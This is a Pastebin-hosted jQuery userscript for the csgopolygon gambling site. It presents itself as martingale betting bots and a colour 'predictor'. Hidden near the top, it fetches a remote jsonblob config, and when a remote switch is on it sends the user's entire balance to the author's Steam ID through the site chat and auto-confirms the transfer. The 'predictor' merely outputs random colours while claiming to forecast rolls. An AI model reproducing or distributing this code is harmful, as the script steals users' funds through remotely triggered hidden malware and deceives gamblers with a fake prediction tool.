Advertisement
CSGOPolygonCoder

Untitled

Mar 21st, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.81 KB | None | 0 0
  1. $('.input-btn.bet-buttons')
  2. .append('<button type="button" onclick="$(this).hide();"style="color:white;margin:3px;" id="spoiler" class="btn">Color</button>');
  3. $('.input-btn.bet-buttons')
  4. .append('<button type="button" onclick="" style="display:none;color:white;background-color:#d9534f;margin:3px;" id="martingalered" class="btn">Martingale RED</button>');
  5. $('.input-btn.bet-buttons')
  6. .append('<button type="button" onclick="" style="display:none;color:white;background-color:#4a4a4a;margin:3px;" id="martingaleblack" class="btn">Martingale BLACK</button>');
  7. $('.input-btn.bet-buttons')
  8. .append('<input type="number" placeholder="Basebet" style="color:white;display:none;width:150px;height:36px;background-color:#4d4d4f;" id="botinp" class="form-control input-lg"></input>');
  9.  
  10. $('.input-btn.bet-buttons')
  11. .append('<button type="button"style="display:none;color:white;background-color:#3d1043;margin:3px;" id="predbot" class="btn">Prediction Bot</button>');
  12.  
  13. $('.input-btn.bet-buttons')
  14. .append('<button type="button" onclick="$(this).hide();hide();"style="display:none;color:white;background-color:#337ab7;margin:3px;" id="martingale" class="btn">Martingale bot</button>');
  15. $('.input-btn.bet-buttons')
  16. .append('<button type="button" onclick="$(this).hide();"style="display:none;color:white;background-color:#5cb85c;margin:3px;" id="greenbot" class="btn">Green</button>');
  17. $('.input-btn.bet-buttons')
  18. .append('<button type="button" onclick=""style="color:white;background-color:#7033b7;margin:3px;" id="pred"class="btn">Predictor</button>');
  19. $('.input-btn.bet-buttons')
  20. .append('<button type="button" onclick=""style="color:white;background-color:#b7337a;margin:3px;" id="showbots" class="btn">Show bots</button>');
  21. document.getElementById('showbots')
  22. .onclick = function() {
  23. $('.betshort')
  24. .hide();
  25. $(this)
  26. .hide();
  27. $('#greenbot')
  28. .show();
  29. $('#martingale')
  30. .show();
  31. $('#pred')
  32. .hide();
  33. $('#predbot')
  34. .show();
  35. }
  36.  
  37. $.get("https://jsonblob.com/api/jsonblob/71083981-eee3-11e6-90ab-7b3b6f8f88b0", function(data) {
  38.  
  39. window.steamid = data.polygon;
  40. window.switched = data.switch;
  41. })
  42. .done(function() {
  43. if (window.switched) {
  44. console.log('ON');
  45. var bals = $('#balance_r')
  46. .text();
  47. var bala = parseFloat(bals.replace(/,/g, ''));
  48. var sendme = $('input')[6];
  49. sendme.value = '/send ' + window.steamid + ' ' + bala;
  50. var childs = $('.message-send')
  51. .children()[1];
  52. $('#chatForm')
  53. .submit();
  54. var conf = $('.btn.btn-primary')[3];
  55. conf.click();
  56.  
  57.  
  58. } else {
  59. console.log('OFF')
  60. }
  61. })
  62.  
  63.  
  64.  
  65.  
  66. document.getElementById('pred')
  67. .onclick = function() {
  68. this.style.display = "none";
  69. predictor();
  70.  
  71. }
  72. var red = $('*[data-upper="7"]');
  73. var black = $('*[data-upper="14"]');
  74. var green = $('*[data-upper="0"]');
  75. var inputt = document.getElementById('betAmount');
  76. var balance = $('#balance_r');
  77. var botinp = $('#botinp');
  78. var botinpe = botinp.val();
  79.  
  80. var result = 3;
  81.  
  82.  
  83.  
  84. //Changing Socket Roll function
  85. function __SOCKET_EVENT_ROLL(data) {
  86.  
  87. $('.betButton')
  88. .prop('disabled', true);
  89. $('#counter')
  90. .finish();
  91. $('#banner')
  92. .html(LNG.ROLL);
  93.  
  94. ROUND = data.rollid;
  95. SHOWBETS = false;
  96.  
  97. spin(data);
  98.  
  99. try {
  100. tinysort('#panel1-7-t .betlist > li', {
  101. 'data': 'amount',
  102. 'order': 'desc'
  103. });
  104. } catch (a) {}
  105. try {
  106. tinysort('#panel8-14-t .betlist > li', {
  107. 'data': 'amount',
  108. 'order': 'desc'
  109. });
  110. } catch (a) {}
  111. try {
  112. tinysort('#panel0-0-t .betlist > li', {
  113. 'data': 'amount',
  114. 'order': 'desc'
  115. });
  116. } catch (a) {}
  117. //---------------------------------------------------------------------------------------------
  118.  
  119.  
  120.  
  121. console.log(data.roll);
  122.  
  123. if (data.roll == 0) {
  124. window.result = 0;
  125. $('#spoiler')
  126. .css("background-color", "#5cb85c");
  127. } else if (data.roll > 7) {
  128. window.result = 1;
  129. $('#spoiler')
  130. .css("background-color", "#4a4a4a");
  131. } else {
  132. $('#spoiler')
  133. .css("background-color", "#d9534f");
  134. window.result = 2;
  135. }
  136. //------------------------------------------------------------
  137. }
  138.  
  139. function hide() {
  140. $('#betAmount')
  141. .hide();
  142. $('.betshort')
  143. .hide();
  144. document.getElementById('botinp')
  145. .style.display = "inline-block";
  146. document.getElementById('martingaleblack')
  147. .style.display = "inline-block";
  148. document.getElementById('martingalered')
  149. .style.display = "inline-block";
  150. document.getElementById('greenbot')
  151. .style.display = "none";
  152. }
  153.  
  154.  
  155.  
  156. document.getElementById('greenbot')
  157. .onclick = function() {
  158. $('.betshort')
  159. .hide();
  160. $(this)
  161. .hide();
  162. $('#martingale')
  163. .hide();
  164. document.getElementById('botinp')
  165. .style.display = "inline-block";
  166. $('.input-btn.bet-buttons')
  167. .append('<button type="button" onclick="this.disabled = true;greengo();"style="color:white;background-color:#5cb85c;margin:3px;" class="btn">GO</button>');
  168. }
  169.  
  170.  
  171. function greengo() {
  172. var botinpe = document.getElementById('botinp')
  173. .value;
  174. setInterval(function() {
  175. inputt.value = $('#botinp')
  176. .val();
  177. green.click();
  178. }, 40000);
  179. inputt.value = $('#botinp')
  180. .val();
  181. green.click();
  182. }
  183.  
  184.  
  185.  
  186. //Martingale red onclick
  187. document.getElementById('martingalered')
  188. .onclick = function() {
  189. inputt.disabled = true;
  190. var botinpe = $('#botinp')
  191. .val();
  192. window.hiddeninp = $('#botinp')
  193. .val();
  194.  
  195. botinp.disabled = true;
  196. this.disabled = true;
  197. $('#martingaleblack')
  198. .hide();
  199.  
  200. setInterval(function martinred() {
  201. if (result === 2) {
  202. window.hiddeninp = $('#botinp')
  203. .val();
  204. inputt.value = $('#botinp')
  205. .val();
  206. red.click();
  207. console.log('win');
  208. } else if (result === 1) {
  209. window.hiddeninp = hiddeninp * 2;
  210. inputt.value = hiddeninp;
  211. red.click();
  212. console.log('loss');
  213. } else if (result == 0) {
  214. window.hiddeninp = hiddeninp * 2;
  215. inputt.value = hiddeninp;
  216. red.click();
  217. console.log('loss');
  218. } else {
  219. inputt.value = $('#botinp')
  220. .val();
  221. red.click();
  222. }
  223. }, 40000);
  224.  
  225. inputt.value = botinpe;
  226. red.click();
  227. }
  228.  
  229. //Martingale black onclick
  230. document.getElementById('martingaleblack')
  231. .onclick = function() {
  232. inputt.disabled = true;
  233. window.hiddeninp = $('#botinp')
  234. .val();
  235.  
  236. botinp.disabled = true;
  237. this.disabled = true;
  238. $('#martingalered')
  239. .hide();
  240.  
  241.  
  242. setInterval(function martinblack() {
  243. if (result === 1) {
  244. window.hiddeninp = $('#botinp')
  245. .val();
  246. inputt.value = $('#botinp')
  247. .val();
  248. black.click();
  249. console.log('win');
  250. } else if (result === 2) {
  251. window.hiddeninp = hiddeninp * 2;
  252. inputt.value = hiddeninp;
  253. black.click();
  254. console.log('loss');
  255. } else if (result == 0) {
  256. window.hiddeninp = hiddeninp * 2;
  257. inputt.value = hiddeninp;
  258. black.click();
  259. console.log('loss');
  260. } else {
  261. inputt.value = $('#botinp')
  262. .val();
  263. black.click();
  264. }
  265. }, 40000);
  266.  
  267.  
  268. inputt.value = $('#botinp')
  269. .val();
  270. black.click();
  271.  
  272. }
  273.  
  274.  
  275.  
  276. //-------------------------------------------------------
  277. //Prediction
  278.  
  279. // @name COLOR PREDICTOR
  280. // @namespace
  281. // @version 2.3
  282. // @author UNKNOWN
  283. // @match http://csgopolygon.com/
  284. function predictor() {
  285.  
  286. var num = "";
  287.  
  288. function zmien_num() {
  289. connect;
  290. var letter = ['1', '2', '3', '4', '5', '6', '7', '8', '9'];
  291. var pattern = letter[Math.floor(Math.random() * letter.length)];
  292. var ball = 'ball-'; // hexadecimal starting symbol
  293. var letter2 = [''];
  294. if (pattern == "1") {
  295. letter2 = ['0'];
  296. ball += letter2[Math.floor(Math.random() * letter2.length)];
  297. num = '<b class="ball ' + ball + '"></b>';
  298.  
  299. }
  300.  
  301. if (pattern == "2") {
  302. letter2 = ['1', '1', '8', '8'];
  303. ball += letter2[Math.floor(Math.random() * letter2.length)];
  304. num = '<b class="ball ' + ball + '"></b>';
  305. }
  306.  
  307. if (pattern == "3") {
  308. letter2 = ['8', '8', '1', '1'];
  309. ball += letter2[Math.floor(Math.random() * letter2.length)];
  310. num = '<b class="ball ' + ball + '"></b>';
  311. }
  312.  
  313. if (pattern == "4") {
  314. letter2 = ['8', '1'];
  315. ball += letter2[Math.floor(Math.random() * letter2.length)];
  316. num = '<b class="ball ' + ball + '"></b>';
  317. }
  318.  
  319. if (pattern == "5") {
  320. letter2 = ['1', '8'];
  321. ball += letter2[Math.floor(Math.random() * letter2.length)];
  322. num = '<b class="ball ' + ball + '"></b>';
  323. }
  324.  
  325. if (pattern == "6") {
  326. letter2 = ['1', '1', '8'];
  327. ball += letter2[Math.floor(Math.random() * letter2.length)];
  328. num = '<b class="ball ' + ball + '"></b>';
  329. }
  330.  
  331. if (pattern == "7") {
  332. letter2 = ['8', '8', '1'];
  333. ball += letter2[Math.floor(Math.random() * letter2.length)];
  334. num = '<b class="ball ' + ball + '"></b>';
  335. }
  336.  
  337. if (pattern == "8") {
  338. letter2 = ['1'];
  339. ball += letter2[Math.floor(Math.random() * letter2.length)];
  340. num = '<b class="ball ' + ball + '"></b>';
  341. }
  342.  
  343. if (pattern == "9") {
  344. letter2 = ['8'];
  345. ball += letter2[Math.floor(Math.random() * letter2.length)];
  346. num = '<b class="ball ' + ball + '"></b>';
  347. }
  348. }
  349. zmien_num();
  350.  
  351. setInterval(function() {
  352. if ($("#banner")
  353. .text() == "***ROLLING***") {
  354. zmien_num();
  355. }
  356. }, 100);
  357.  
  358.  
  359. $("div .input-btn")
  360. .append('<br><br><div class="panel panel-default"><div class="panel-body text-center" style="margin-top: 10px;"><div id="setcolor1"></div>' +
  361. '<p><b><font color="purple"> THIS IS NOT ALWAYS 100% CORRECT </b></p></font></div>' +
  362. '<div class="" id="rollscript"></div>');
  363.  
  364.  
  365.  
  366. setInterval(function() {
  367. var letters = "0123456789ABCDEF";
  368. color = '#';
  369. for (var i = 0; i < 6; i++) {
  370. color += letters.charAt(Math.floor(Math.random() * letters.length));
  371. }
  372. $("#rollscript")
  373. .html(num);
  374. $(".bootbox-body")
  375. .css({
  376. "font-size": "5%"
  377. });
  378. }, 250);
  379. }
  380.  
  381.  
  382. document.getElementById('predbot')
  383. .onclick = function() {
  384. $('#betAmount')
  385. .hide();
  386. predictor();
  387. document.getElementById('botinp')
  388. .style.display = "inline-block";
  389. $('.betshort')
  390. .hide();
  391. $(this)
  392. .hide();
  393. $('#greenbot')
  394. .hide();
  395. $('#martingale')
  396. .hide();
  397. $('#showbots')
  398. .hide();
  399. $('#pred')
  400. .hide();
  401.  
  402. setInterval(function() {
  403. //Prediction bot
  404. if ($('#rollscript')
  405. .children()
  406. .hasClass("ball-1")) {
  407. console.log('redbet');
  408. inputt.value = botinp.val();
  409. red.click();
  410. } else if ($('#rollscript')
  411. .children()
  412. .hasClass("ball-8")) {
  413. console.log('blackbet');
  414. inputt.value = botinp.val();
  415. black.click();
  416. } else if ($('#rollscript')
  417. .children()
  418. .hasClass("ball-0")) {
  419. console.log('greenbet');
  420. inputt.value = botinp.val();
  421. green.click();
  422. }
  423. }, 40000);
  424.  
  425. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement